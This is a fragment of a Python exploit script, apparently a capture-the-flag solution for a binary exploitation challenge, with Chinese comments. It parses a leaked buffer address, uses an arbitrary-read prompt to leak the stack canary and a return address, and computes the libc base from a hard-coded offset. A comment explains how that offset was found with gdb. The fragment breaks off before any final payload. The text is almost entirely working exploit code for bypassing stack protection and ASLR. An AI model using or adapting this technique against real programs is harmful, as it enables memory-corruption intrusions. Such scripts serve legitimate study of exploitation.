ioHandler.recvuntil("[LEAK] Your input buffer is located at: ") bufferStart=ioHandler.recvuntil('.').decode() if bufferStart[-1]=='.': bufferStart=bufferStart[:-1] bufferStart=int(bufferStart,16) ioHandler.recvuntil("Address in hex to read from:") canaryAddr=bufferStart+offset-16 ioHandler.sendline(hex(canaryAddr).encode("ascii")) ioHandler.recvuntil(" = ") canary=ioHandler.recv().decode() canary=int(canary,16)
#回来了 ioHandler.recvuntil("[LEAK] Your input buffer is located at: ") bufferAgain=ioHandler.recvuntil('.').decode() if bufferAgain[-1]=='.': bufferAgain=bufferAgain[:-1] bufferAgain=int(bufferAgain,16) ioHandler.recvuntil("Address in hex to read from:") call_start=bufferAgain+offset ioHandler.sendline(hex(call_start).encode("ascii")) ioHandler.recvuntil(" = ") realCall_start=int(ioHandler.recv().decode(),16) print(realCall_start) libcBase=realCall_start-0x24083#为什么是24083,gdb看返回地址,最后3位是083,说明call main的指令偏移最后3位是083,再逆向libc.so,去里面找完整偏移??083,看到是24083